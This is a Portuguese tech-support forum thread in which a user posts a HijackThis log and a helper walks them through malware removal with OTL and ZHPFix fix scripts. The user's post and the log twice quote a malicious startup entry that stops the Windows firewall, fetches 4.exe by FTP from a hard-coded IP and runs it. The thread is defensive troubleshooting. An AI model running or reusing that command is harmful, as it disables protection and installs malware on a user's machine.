análise de log

Question

Ol&aacute;, amigos

Gostaria da ajuda dos colegas para fechar de vez esta brecha.

Estas linhas aqui s&atilde;o um problema
O4 - HKLM\..\Run: [shell] c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 222.186.30.65 > cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary >> cmd.txt&echo get 4.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt&4.exe&4.exe&del cmd.txt /q /f&ex

O Micro possue Firewall do Windows 7 rodando, e kaspersky 2013 al&eacute;m do Malwarebytes que rodo com frequencia mas nem isto esta me librando desta encrenca.

A entrada acima j&aacute; deletei no registro do Windows,

Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 14:23:04, on 13/11/2012
Platform: Unknown Windows (WinNT 6.01.3504)
MSIE: Internet Explorer v8.00 (8.00.7600.16385)
Boot mode: Normal

Running processes:
C:\Program Files\Malwarebytes' Anti-Malware\mbamgui.exe
C:\Windows\system32\Dwm.exe
C:\Windows\system32	askhost.exe
C:\Windows\Explorer.EXE
C:\Program Files\Common Files\Java\Java Update\jusched.exe
C:\Program Files\Microsoft Office\Office12\GrooveMonitor.exe
C:\Program Files\TightVNC	vnserver.exe
C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2013\avp.exe
C:\Program Files\PrinterShare\paConsole.exe
C:\Program Files\TeamViewer\Version7\TeamViewer.exe
C:\HijackThis\HijackThis.exe

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://go.microsoft.com/fwlink/?LinkId=54896
R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = about:blank
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://go.microsoft.com/fwlink/?LinkId=69157
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = http://go.microsoft.com/fwlink/?LinkId=54896
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = http://go.microsoft.com/fwlink/?LinkId=54896
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/?LinkId=69157
R0 - HKLM\Software\Microsoft\Internet Explorer\Search,SearchAssistant = 
R0 - HKLM\Software\Microsoft\Internet Explorer\Search,CustomizeSearch = 
R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings,ProxyServer = http=servertbr:3128;https=servertbr:3128
R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName = 
O2 - BHO: btorbit.com - {000123B4-9B42-4900-B3F7-F4B073EFC214} - C:\Program Files\Orbitdownloader\orbitcth.dll
O2 - BHO: AcroIEHelperStub - {18DF081C-E8AD-4283-A596-FA578C2EBDC3} - C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelperShim.dll
O2 - BHO: ContentBlockerBrowserHelperObject - {5564CC73-EFA7-4CBF-918A-5CF7FBBFFF4F} - C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2013\IEExt\ContentBlocker\ie_content_blocker_plugin.dll
O2 - BHO: Groove GFS Browser Helper - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - C:\PROGRA~1\MICROS~4\Office12\GR469A~1.DLL
O2 - BHO: VirtualKeyboardBrowserHelperObject - {73455575-E40C-433C-9784-C78DC7761455} - C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2013\IEExt\VirtualKeyboard\ie_virtual_keyboard_plugin.dll
O2 - BHO: Java(tm) Plug-In 2 SSV Helper - {DBC80044-A445-435b-BC74-9C25C1C588A9} - C:\Program Files\Java\jre6\bin\jp2ssv.dll
O2 - BHO: link filter bho - {E33CF602-D945-461A-83F0-819F76A199F8} - C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2013\IEExt\UrlAdvisor\klwtbbho.dll
O4 - HKLM\..\Run: [FileZilla Server Interface] C:\Program Files\FileZilla Server\FileZilla Server Interface.exe
O4 - HKLM\..\Run: [SunJavaUpdateSched] C:\Program Files\Common Files\Java\Java Update\jusched.exe
O4 - HKLM\..\Run: [Adobe ARM] C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe
O4 - HKLM\..\Run: [GrooveMonitor] C:\Program Files\Microsoft Office\Office12\GrooveMonitor.exe
O4 - HKLM\..\Run: [shell] c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 222.186.30.65 > cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary >> cmd.txt&echo get 4.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt&4.exe&4.exe&del cmd.txt /q /f&ex
O4 - HKLM\..\Run: [tvncontrol] C:\Program Files\TightVNC	vnserver.exe -controlservice -slave
O4 - HKLM\..\Run: [AVP] C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2013\avp.exe
O4 - HKLM\..\Run: [QQExternal] C:\Windows\system32\config\systemprofile\AppData\Roaming\QQExternal.exe
O4 - HKCU\..\Run: [PrinterShare] C:\Program Files\PrinterShare\paConsole.exe -minimized
O4 - HKUS\S-1-5-19\..\Run: [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun (User 'SERVIO LOCAL')
O4 - HKUS\S-1-5-19\..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe (User 'SERVIO LOCAL')
O4 - HKUS\S-1-5-20\..\Run: [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun (User 'SERVIO DE REDE')
O4 - HKUS\S-1-5-20\..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe (User 'SERVIO DE REDE')
O4 - Global Startup: 360.bat
O8 - Extra context menu item: &Download by Orbit - res://C:\Program Files\Orbitdownloader\orbitmxt.dll/201
O8 - Extra context menu item: &Grab video by Orbit - res://C:\Program Files\Orbitdownloader\orbitmxt.dll/204
O8 - Extra context menu item: Do&wnload selected by Orbit - res://C:\Program Files\Orbitdownloader\orbitmxt.dll/203
O8 - Extra context menu item: Down&load all by Orbit - res://C:\Program Files\Orbitdownloader\orbitmxt.dll/202
O8 - Extra context menu item: E&xportar para o Microsoft Excel - res://C:\PROGRA~1\MICROS~4\Office12\EXCEL.EXE/3000
O9 - Extra button: Teclado Virtual - {0C4CC089-D306-440D-9772-464E226F6539} - C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2013\IEExt\VirtualKeyboard\ie_virtual_keyboard_plugin.dll
O9 - Extra button: Enviar para o OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\PROGRA~1\MICROS~4\Office12\ONBttnIE.dll
O9 - Extra 'Tools' menuitem: &Enviar para o OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\PROGRA~1\MICROS~4\Office12\ONBttnIE.dll
O9 - Extra button: Research - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - C:\PROGRA~1\MICROS~4\Office12\REFIEBAR.DLL
O9 - Extra button: Verificao de URLs - {CCF151D8-D089-449F-A5A4-D9909053F20F} - C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2013\IEExt\UrlAdvisor\klwtbbho.dll
O13 - Gopher Prefix: 
O16 - DPF: {CF84DAC5-A4F5-419E-A0BA-C01FFD71112F} (SysInfo Class) - http://content.systemrequirementslab.com.s3.amazonaws.com/global/bin/srldetect_intel_4.4.16.0.cab
O17 - HKLM\System\CCS\Services\Tcpip\..\{488832D2-5BFC-4748-8C6B-0C4E6DF9246B}: NameServer = 
O17 - HKLM\System\CCS\Services\Tcpip\..\{5D1ACB20-0BF5-4778-A377-E3997409E27D}: NameServer = 
O17 - HKLM\System\CS1\Services\Tcpip\..\{488832D2-5BFC-4748-8C6B-0C4E6DF9246B}: NameServer = 
O17 - HKLM\System\CS2\Services\Tcpip\..\{488832D2-5BFC-4748-8C6B-0C4E6DF9246B}: NameServer = 
O18 - Protocol: grooveLocalGWS - {88FED34C-F0CA-4636-A375-3CB6248B04CD} - C:\PROGRA~1\MICROS~4\Office12\GRA32A~1.DLL
O23 - Service: Adobe Acrobat Update Service (AdobeARMservice) - Adobe Systems Incorporated - C:\Program Files\Common Files\Adobe\ARM\1.0\armsvc.exe
O23 - Service: Adobe Flash Player Update Service (AdobeFlashPlayerUpdateSvc) - Adobe Systems Incorporated - C:\Windows\system32\Macromed\Flash\FlashPlayerUpdateService.exe
O23 - Service: Servio do Kaspersky Anti-Virus (AVP) - Kaspersky Lab ZAO - C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2013\avp.exe
O23 - Service: FileZilla Server FTP server (FileZilla Server) - FileZilla Project - C:\Program Files\FileZilla Server\FileZilla Server.exe
O23 - Service: MBAMScheduler - Malwarebytes Corporation - C:\Program Files\Malwarebytes' Anti-Malware\mbamscheduler.exe
O23 - Service: MBAMService - Malwarebytes Corporation - C:\Program Files\Malwarebytes' Anti-Malware\mbamservice.exe
O23 - Service: OpenVPN Service (OpenVPNService) - Unknown owner - C:\Program Files\OpenVPN\bin\openvpnserv.exe
O23 - Service: SquidNT - SQUID Web Proxy Cache - http://www.squid-cache.org/ - C:\squid\sbin\squid.exe
O23 - Service: TeamViewer 7 (TeamViewer7) - TeamViewer GmbH - C:\Program Files\TeamViewer\Version7\TeamViewer_Service.exe
O23 - Service: TightVNC Server (tvnserver) - GlavSoft LLC. - C:\Program Files\TightVNC	vnserver.exe

--
End of file - 7660 bytes

Estou pensando em colocar o Comodo Firewall na m&aacute;quina, ser&aacute; que vai resolver ?

Answer

Boa Tarde! gvl |- Baixe: < https://www.hardware.com.br/static/c/m/fe98bdd7e6f3539549d11b1d9eccdcdf > ( ... by OldTimer Tools ) |- Salve-o no desktop! |- Duplo clique em OTL.exe >> Executar. https://www.hardware.com.br/static/c/m/f4dc1ae27fbe34f31b37fbe8e5dbfc8a |- Configure a ferramenta,segundo a [COLOR=green]screenshot![/COLOR] |- Em Exame Extra do Registro,assinale [COLOR=red]Nenhum[/COLOR]. *crack* /s *keygen* /s *serial* /s *AutoKMS* /s *loader* /s %SYSTEMDRIVE%\*.* %APPDATA%\Local\*. %APPDATA%\*.exe /s %APPDATA%\*. %systemdrive%\drivers\*.exe %USERPROFILE%\AppData\Local\*.* %USERPROFILE%\AppData\Roaming\*.* %systemroot%\system32\drivers\*.* /90 %systemroot%\assembly mp\*.* /S /MD5 %systemroot%\assembly emp\*.* /S /MD5 %systemroot%\assembly\GAC\*.* /S /MD5 %systemroot%\assembly\GAC_32\*.* /S /MD5 %systemroot%\assembly\GAC_64\*.* /S /MD5 %systemroot%\system32\config\systemprofile\AppData\Local\*.* %windir%\ServiceProfiles\LocalService\AppData\Local\Temp\*.* %windir%\ServiceProfiles\NetworkService\AppData\Local\Temp\*.* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\SearchScopes HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchScopes /md5start services.exe /md5stop regedit /e c: egistrybackup.reg /c %systemroot%\system32 asks\*.* /s /64 %windir% asks\*.* /s|- Copie estas informações que estão no Code,para o Bloco de Notas. |- Salve-as em Meus Documentos ou desktop,com o nome [COLOR=green]scan[/COLOR]. |- Maiores informações: < |[COLOR=blue]Link[/COLOR]| > Abraços!

Answer

Ol&aacute;, joram

Obrigado pelo retorno, segue abaixo o resultado da verifica&ccedil;&atilde;o.

As linhas abaixo me parece ser um problema. Estranho que acabei de fazer uma verifica&ccedil;&atilde;o na pasta System32 com o Kaspersky 2013 atualizado e nada dele reclamar. Por via das d&uacute;vidas j&aacute; deletei os dois exe.

[2012/08/19 14:25:47 | 000,102,984 | ---- | C] () -- C:\Windows\System32\888.exe
[2012/08/19 14:25:01 | 000,008,192 | ---- | C] () -- C:\Windows\System32\dcbfa27a.rdb
[2012/05/31 05:07:57 | 000,102,984 | ---- | C] () -- C:\Windows\System32\hex888.exehttp://myfile.tk/3/2539OTL.Txt

Abs, gvl :feliz:

Answer

Boa Noite! gvl

|- Execute o OTL.exe.
|- Copie estas informa&ccedil;&otilde;es que est&atilde;o em [COLOR=red]vermelho[/COLOR],para o campo clipboard da ferramenta. ( Exames Personalizados Corre&ccedil;&otilde;es )

[code=rich][COLOR=darkred]:OTL
SRV - File not found [Auto | Stopped] -- C:\Program Files\%SESSIONNAME%\tlskj.cc3 -- (SCPolicySvc)
SRV - File not found [Auto | Stopped] -- C:\Program Files\%SESSIONNAME%\upeen.cc3 -- (RasAuto)
IE - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings: ProxyServer = http=servertbr:3128;https=xxx.xxx.xxx.x:3128
FF - HKLM\Software\MozillaPlugins\@microsoft.com/GENUINE: disabled File not found
O3 - HKLM\..\Toolbar: (no name) - {10EDB994-47F8-43F7-AE96-F2EA63E9F90F} - No CLSID value found.
O13 - gopher Prefix: missing
[2012/11/14 17:06:00 | 000,000,902 | ---- | M] () -- C:\Windows\tasks\Adobe Flash Player Updater.job
[2012/11/12 08:33:58 | 000,000,260 | ---- | M] () -- C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\wmpnsslog00.sqm
 
:Files
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v shll /f /c
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v shll /f /c 
Type C:\Windows\system32\tasks\{071F9D2C-DD19-4A6C-9769-1EBA8F3BB7E6} /C
Type C:\Windows\system32\tasks\{42634645-C755-42D4-8B20-FC79F113EE7B} /C
Type C:\Windows\system32\tasks\{49E57029-9AAA-4562-BBDA-6D0B7D0AB5CA} /C

:reg
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\URL\Prefixes]
Gopher=gopher://

:Commands 
[CREATERESTOREPOINT]
[purity] 
[emptytemp] 
[Reboot][/COLOR][/code]|- Clique no bot&atilde;o [COLOR=red]Consertar[/COLOR] -> Aguarde a conclus&atilde;o!
|- O computador vai reiniciar! -> Clique em Executar.

https://www.hardware.com.br/static/c/m/b176f9d8f72718f8d143f9597a18908d

|- Para vers&otilde;es em Ingl&ecirc;s,clique em [COLOR=red]Run Fix[/COLOR] que &eacute; o mesmo que [COLOR=red]Consertar[/COLOR].
|- Poste o relat&oacute;rio: C:\_OTL\MovedFiles\[COLOR=red]*.log[/COLOR]

Abs!

Answer

Boa noite, joram

Segue novo log.
http://myfile.tk/3/11142012_195041.log

Abs, gvl :feliz:

Answer

Boa Noite! gvl

|- Abra a ferramenta OTL e cole no campo,estas informa&ccedil;&otilde;es,tal como foi feito anteriormente.

[code=rich][COLOR=darkred]:Files
C:\Windows\system32	asks\{071F9D2C-DD19-4A6C-9769-1EBA8F3BB7E6}
C:\Windows\system32	asks\{42634645-C755-42D4-8B20-FC79F113EE7B}
C:\Windows\system32	asks\{49E57029-9AAA-4562-BBDA-6D0B7D0AB5CA} 
C:\Program Files\AVAST Software\Avast
C:\Program Files\AVAST Software
C:\Users\SERVIDORVIGIA\Downloads\avira_antivir_personal_en.exe
C:\Users\SERVIDORVIGIA\Downloads\avira_antivir_personal_ptbr.exe

:commands
[reboot][/COLOR][/code]|- Clique em [COLOR=red]Consertar![/COLOR]

Answer

Boa noite ! joram

Segue novamente,
http://myfile.tk/3/11142012_204150.log

Abs, gvl :feliz:

Answer

Boa Noite! gvl

|- Abra o OTL.exe -> Clique em Limpeza.  ( ... par Nicolas Coolman )

|- Salve-o no desktop!
|- Desabilite seu antiv&iacute;rus!
|- Para Windows Vista ou 7,clique direito e execute o arquivo como administrador.
|- Aguarde a conclus&atilde;o do scan e clique em Copier.

Answer

Boa noite ! joram,

Poste e/ou cole aqui,o link que ser&aacute; gerado,logo ap&oacute;s o relat&oacute;rio.
N&atilde;o apareceu link n&atilde;o,
http://myfile.tk/3/ZHPDiag.Txt

Answer

[quote=gvl, post: 6291756]Boa noite ! joram,

N&atilde;o apareceu link n&atilde;o,[/quote]
Ol&aacute;!

|- Se tens o relat&oacute;rio,podes post&aacute;-lo por interm&eacute;dio de MyFile.tk.
|- Vc clicou no &iacute;cone do pergaminho? Esta seria outra op&ccedil;&atilde;o para dispormos do link,que posta o log em Malekal.com.

EDITANDO: Ok! J&aacute; foi disponibilizado.

-/-

|- Feche programas/pastas que estejam abertas.
|- Feche,tamb&eacute;m,o navegador!
|- Para Windows Vista,desabilite a [COLOR=blue]UAC[/COLOR].

https://www.hardware.com.br/static/c/m/1a29d0531e44deccf89335b3f65e515d

|- Para Windows Vista ou 7,clique direito em ZHPFix.exe e execute-o como administrador.
|- Selecione e copie estas informa&ccedil;&otilde;es,que est&atilde;o em vermelho,para o Bloco de Notas.

[code=rich][COLOR=darkred]O2 - BHO: (no name) - {5564CC73-EFA7-4CBF-918A-5CF7FBBFFF4F} Orphean Key
O2 - BHO: (no name) - {73455575-E40C-433C-9784-C78DC7761455} Orphean Key
O2 - BHO: (no name) - {000123B4-9B42-4900-B3F7-F4B073EFC214} Orphean Key
O2 - BHO: (no name) - {18DF081C-E8AD-4283-A596-FA578C2EBDC3} Orphean Key
O2 - BHO: (no name) - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} Orphean Key
O2 - BHO: (no name) - {DBC80044-A445-435b-BC74-9C25C1C588A9} Orphean Key
O2 - BHO: (no name) - {E33CF602-D945-461A-83F0-819F76A199F8} Orphean Key
O4 - Global Startup: C:\Users\SERVIDORVIGIA\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\QuickStores.lnk - Orphean Key
O43 - CFD: 14/02/2011 - 19:38:16 - [0] ----D C:\Users\SERVIDORVIGIA\AppData\Local\Dados de aplicativos
O43 - CFD: 14/02/2011 - 19:38:16 - [0] ----D C:\Users\SERVIDORVIGIA\AppData\Local\Hist&oacute;rico
O53 - SMSR:HKLM\...\startupreg\PrinterShare  [Key] . (...) -- C:\Program Files\PrinterShare\paConsole.exe (.not file.)
O87 - FAEL: TCP Query User{C0D0715F-908C-49D2-9443-DED7208F6479}C:\users\servidorvigia\appdata\local\temp\ixp000.tmp\smwinvnc.exe |In - Private - P6 - TRUE | .(...) -- C:\users\servidorvigia\appdata\local\temp\ixp000.tmp\smwinvnc.exe (.not file.)
O87 - FAEL: UDP Query User{E8B30645-5CF1-4785-95FF-AB2C559E6A48}C:\users\servidorvigia\appdata\local\temp\ixp000.tmp\smwinvnc.exe |In - Private - P17 - TRUE | .(...) -- C:\users\servidorvigia\appdata\local\temp\ixp000.tmp\smwinvnc.exe (.not file.)
O87 - FAEL: TCP Query User{1F847BB1-A0CF-434D-89D5-6A7DEF4EA9C5}C:\users\servidorvigia\appdata\local\temp\ixp000.tmp\smpcsetup.exe |In - Private - P6 - TRUE | .(...) -- C:\users\servidorvigia\appdata\local\temp\ixp000.tmp\smpcsetup.exe (.not file.)
O87 - FAEL: UDP Query User{1B7E4E92-DCA9-4B0B-A2E7-EE231B609EAB}C:\users\servidorvigia\appdata\local\temp\ixp000.tmp\smpcsetup.exe |In - Private - P17 - TRUE | .(...) -- C:\users\servidorvigia\appdata\local\temp\ixp000.tmp\smpcsetup.exe (.not file.)
O87 - FAEL: TCP Query User{FD2D699B-E036-45D2-802B-91A4C9E0AC0E}C:\program files\printershare\paconsole.exe |In - Public - P6 - TRUE | .(...) -- C:\program files\printershare\paconsole.exe (.not file.)
O87 - FAEL: UDP Query User{799A589D-39FE-4143-B145-520A3836F5D8}C:\program files\printershare\paconsole.exe |In - Public - P17 - TRUE | .(...) -- C:\program files\printershare\paconsole.exe (.not file.)
[MD5.44C00A385CA9DBC1D5CF3781F8C26AEA] [APT] [Adobe Flash Player Updater] (.Adobe Systems Incorporated.) -- C:\Windows\system32\Macromed\Flash\FlashPlayerUpdateService.exe

[HKCU\Software\AVAST Software]
[HKLM\Software\AVAST Software]

proxyfix
emptytemp
emptyflash
firewallraz
sysrestore[/COLOR][/code]|- Estando com o Bloco de Notas aberto,acione os atalhos: [COLOR=green]Ctrl+A[/COLOR] -> [COLOR=green]Ctrl+C[/COLOR]
|- Minimize o Bloco de Notas.

https://www.hardware.com.br/static/c/m/70ca55ea4d3ec54710107b53a65646d7

|- Clique no menu,Paste ClipBoard.

https://www.hardware.com.br/static/c/m/493c6850b36d9189f11a26ef6892d6f8

|- Clique em GO -> Oui.

https://www.hardware.com.br/static/c/m/67c5cc338df2d52238a5fee10f0bc855

|- Ps: Temos,&agrave;cima,sequ&ecirc;ncia de imagens para maior exclarecimento.
|- Poste o relat&oacute;rio: C:\ZHP\[COLOR=darkred]ZHPFix[R1].txt[/COLOR]

Abs!

Answer

Bom dia ! joram,

Fiquei sem conex&atilde;o com o micro ontem por isto n&atilde;o postei antes.:fiquei_triste:

http://myfile.tk/3/195ZHPDiag.txt

Abs, gvl  :feliz:

Answer

[quote=gvl, post: 6293338]Bom dia ! joram,

Fiquei sem conex&atilde;o com o micro ontem por isto n&atilde;o postei antes.:fiquei_triste:

http://myfile.tk/3/195ZHPDiag.txt

Abs, gvl  :feliz:[/quote]
Bom Dia! gvl

|- O relat&oacute;rio postado foi o de diagn&oacute;stico!
|- Verifique o caminho em que encontra-se o do Fix e poste-o diretamente. ( C:\ZHP\[COLOR=darkred]ZHPFix[R1].txt[/COLOR] )

Abs!

Answer

Bom dia ! joram,

Mandei fazer novamente agora deu certo,
http://myfile.tk/3/7682ZHPFix_R1_.txt

Answer

[quote=gvl, post: 6293442]Bom dia ! joram,

Mandei fazer novamente agora deu certo,
http://myfile.tk/3/7682ZHPFix_R1_.txt
[/quote]
Ol&aacute;!

|- O script foi alterado! Podes reparar que o log,difere das instru&ccedil;&otilde;es que lhe enviei para o Fix.
O que houve?

Abs!

Answer

Ol&aacute;, joram,

Da primeira vez que fiz n&atilde;o apareceu o log com o nome ZHPFix[R1].txt ent&atilde;o copiei as informa&ccedil;&otilde;es abaixo para o bloco de notas e mandei fazer o procedimento novamente.
O2 - BHO: (no name) - {5564CC73-EFA7-4CBF-918A-5CF7FBBFFF4F} Orphean Key
O2 - BHO: (no name) - {73455575-E40C-433C-9784-C78DC7761455} Orphean Key
O2 - BHO: (no name) - {000123B4-9B42-4900-B3F7-F4B073EFC214} Orphean Key
O2 - BHO: (no name) - {18DF081C-E8AD-4283-A596-FA578C2EBDC3} Orphean Key
O2 - BHO: (no name) - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} Orphean Key
O2 - BHO: (no name) - {DBC80044-A445-435b-BC74-9C25C1C588A9} Orphean Key
O2 - BHO: (no name) - {E33CF602-D945-461A-83F0-819F76A199F8} Orphean Key
O4 - Global Startup: C:\Users\SERVIDORVIGIA\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\QuickStores.lnk - Orphean Key
O43 - CFD: 14/02/2011 - 19:38:16 - [0] ----D C:\Users\SERVIDORVIGIA\AppData\Local\Dados de aplicativos
O43 - CFD: 14/02/2011 - 19:38:16 - [0] ----D C:\Users\SERVIDORVIGIA\AppData\Local\Histrico
O53 - SMSR:HKLM\...\startupreg\PrinterShare  [Key] . (...) -- C:\Program Files\PrinterShare\paConsole.exe (.not file.)
O87 - FAEL: TCP Query User{C0D0715F-908C-49D2-9443-DED7208F6479}C:\users\servidorvigia\appdata\local	emp\ixp000.tmp\smwinvnc.exe |In - Private - P6 - TRUE | .(...) -- C:\users\servidorvigia\appdata\local	emp\ixp000.tmp\smwinvnc.exe (.not file.)
O87 - FAEL: UDP Query User{E8B30645-5CF1-4785-95FF-AB2C559E6A48}C:\users\servidorvigia\appdata\local	emp\ixp000.tmp\smwinvnc.exe |In - Private - P17 - TRUE | .(...) -- C:\users\servidorvigia\appdata\local	emp\ixp000.tmp\smwinvnc.exe (.not file.)
O87 - FAEL: TCP Query User{1F847BB1-A0CF-434D-89D5-6A7DEF4EA9C5}C:\users\servidorvigia\appdata\local	emp\ixp000.tmp\smpcsetup.exe |In - Private - P6 - TRUE | .(...) -- C:\users\servidorvigia\appdata\local	emp\ixp000.tmp\smpcsetup.exe (.not file.)
O87 - FAEL: UDP Query User{1B7E4E92-DCA9-4B0B-A2E7-EE231B609EAB}C:\users\servidorvigia\appdata\local	emp\ixp000.tmp\smpcsetup.exe |In - Private - P17 - TRUE | .(...) -- C:\users\servidorvigia\appdata\local	emp\ixp000.tmp\smpcsetup.exe (.not file.)
O87 - FAEL: TCP Query User{FD2D699B-E036-45D2-802B-91A4C9E0AC0E}C:\program files\printershare\paconsole.exe |In - Public - P6 - TRUE | .(...) -- C:\program files\printershare\paconsole.exe (.not file.)
O87 - FAEL: UDP Query User{799A589D-39FE-4143-B145-520A3836F5D8}C:\program files\printershare\paconsole.exe |In - Public - P17 - TRUE | .(...) -- C:\program files\printershare\paconsole.exe (.not file.)
[MD5.44C00A385CA9DBC1D5CF3781F8C26AEA] [APT] [Adobe Flash Player Updater] (.Adobe Systems Incorporated.) -- C:\Windows\system32\Macromed\Flash\FlashPlayerUpdateService.exe

[HKCU\Software\AVAST Software]
[HKLM\Software\AVAST Software]

proxyfix
emptytemp
emptyflash
firewallraz
sysrestore

Edit: Se achar conveniente volto no inicio re-fazendo o procedimento e atualizando os arquivos de  log.

Obrigado pela aten&ccedil;&atilde;o,

Abs, gvl

Ferramentas

Mover Tópico